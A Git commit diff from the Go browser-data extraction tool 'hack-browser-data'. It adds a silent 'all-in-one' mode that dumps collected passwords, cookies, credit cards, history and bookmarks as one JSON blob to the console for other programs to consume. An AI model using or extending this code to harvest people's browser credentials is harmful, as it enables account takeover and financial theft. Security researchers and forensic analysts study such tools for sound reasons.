新增allInOne选项,用于将所有结果直接输出到屏幕中,方便其他程序二次调用

pull/83/head
sky 4 years ago
parent a843224137
commit 5b7c1feee9
  1. 31
      cmd/cmd.go
  2. 24
      core/data/output.go
  3. 18
      core/data/parse.go
  4. 10
      log/log.go
  5. 8
      utils/utils.go

@ -1,13 +1,15 @@
package cmd
import (
"bytes"
"encoding/json"
"fmt"
"github.com/urfave/cli/v2"
"hack-browser-data/core"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"strings"
"github.com/urfave/cli/v2"
)
var (
@ -16,8 +18,10 @@ var (
outputFormat string
verbose bool
compress bool
allInOne bool
customProfilePath string
customKeyPath string
results map[string]interface{}
)
func Execute() {
@ -29,6 +33,7 @@ func Execute() {
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.BoolFlag{Name: "all-in-one", Aliases: []string{"one"}, Destination: &allInOne, Value: false, Usage: "All the results are output as a file after json serialization or directly output to the console"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
@ -37,6 +42,11 @@ func Execute() {
},
HideHelpCommand: true,
Action: func(c *cli.Context) error {
log.AllInOne = allInOne
if allInOne {
outputFormat = "aconsole"
}
var (
browsers []core.Browser
err error
@ -96,18 +106,33 @@ func Execute() {
if err != nil {
log.Error(err)
}
err = item.OutPut(outputFormat, name, exportDir)
if err != nil {
log.Error(err)
}
}
}
if compress {
if compress && allInOne == false {
err = utils.Compress(exportDir)
if err != nil {
log.Error(err)
}
}
if allInOne {
utils.Result["status"] = "success"
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
err = enc.Encode(utils.Result)
if err != nil {
fmt.Println("{\"status\":\"error\"}")
} else {
fmt.Println(w.String())
}
}
return nil
},
}

@ -222,3 +222,27 @@ func (c *creditCards) outPutConsole() {
fmt.Printf("%+v\n", v)
}
}
func (b *bookmarks) outPutAllInOneConsole(name string) {
utils.Result[name+"_bookmarks"] = b.bookmarks
}
func (c *cookies) outPutAllInOneConsole(name string) {
utils.Result[name+"_cookies"] = c.cookies
}
func (h *historyData) outPutAllInOneConsole(name string) {
utils.Result[name+"_history"] = h.history
}
func (d *downloads) outPutAllInOneConsole(name string) {
utils.Result[name+"_downloads"] = d.downloads
}
func (p *passwords) outPutAllInOneConsole(name string) {
utils.Result[name+"_logins"] = p.logins
}
func (c *creditCards) outPutAllInOneConsole(name string) {
utils.Result[name+"_cards"] = c.cards
}

@ -186,6 +186,9 @@ func (b *bookmarks) OutPut(format, browser, dir string) error {
case "console":
b.outPutConsole()
return nil
case "aconsole":
b.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := b.outPutJson(browser, dir)
return err
@ -319,6 +322,9 @@ func (c *cookies) OutPut(format, browser, dir string) error {
case "console":
c.outPutConsole()
return nil
case "aconsole":
c.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := c.outPutJson(browser, dir)
return err
@ -445,6 +451,9 @@ func (h *historyData) OutPut(format, browser, dir string) error {
case "console":
h.outPutConsole()
return nil
case "aconsole":
h.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := h.outPutJson(browser, dir)
return err
@ -576,6 +585,9 @@ func (d *downloads) OutPut(format, browser, dir string) error {
case "console":
d.outPutConsole()
return nil
case "aconsole":
d.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := d.outPutJson(browser, dir)
return err
@ -747,6 +759,9 @@ func (p *passwords) OutPut(format, browser, dir string) error {
case "console":
p.outPutConsole()
return nil
case "aconsole":
p.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := p.outPutJson(browser, dir)
return err
@ -831,6 +846,9 @@ func (c *creditCards) OutPut(format, browser, dir string) error {
case "console":
c.outPutConsole()
return nil
case "aconsole":
c.outPutAllInOneConsole(strings.ToLower(browser))
return nil
default:
err := c.outPutJson(browser, dir)
return err

@ -7,6 +7,8 @@ import (
"os"
)
var AllInOne bool
type Level int
const (
@ -79,11 +81,15 @@ func Debug(v ...interface{}) {
}
func Warn(v ...interface{}) {
formatLogger.doLog(LevelWarn, v...)
if AllInOne == false {
formatLogger.doLog(LevelWarn, v...)
}
}
func Error(v ...interface{}) {
formatLogger.doLog(LevelError, v...)
if AllInOne == false {
formatLogger.doLog(LevelError, v...)
}
}
func Errorf(format string, v ...interface{}) {

@ -4,17 +4,21 @@ import (
"archive/zip"
"bytes"
"fmt"
"hack-browser-data/log"
"io/ioutil"
"os"
"path"
"strings"
"time"
"hack-browser-data/log"
)
const Prefix = "[x]: "
var Result map[string]interface{}
func init() {
Result = make(map[string]interface{})
}
func IntToBool(a int) bool {
switch a {
case 0, -1:

Loading…
Cancel
Save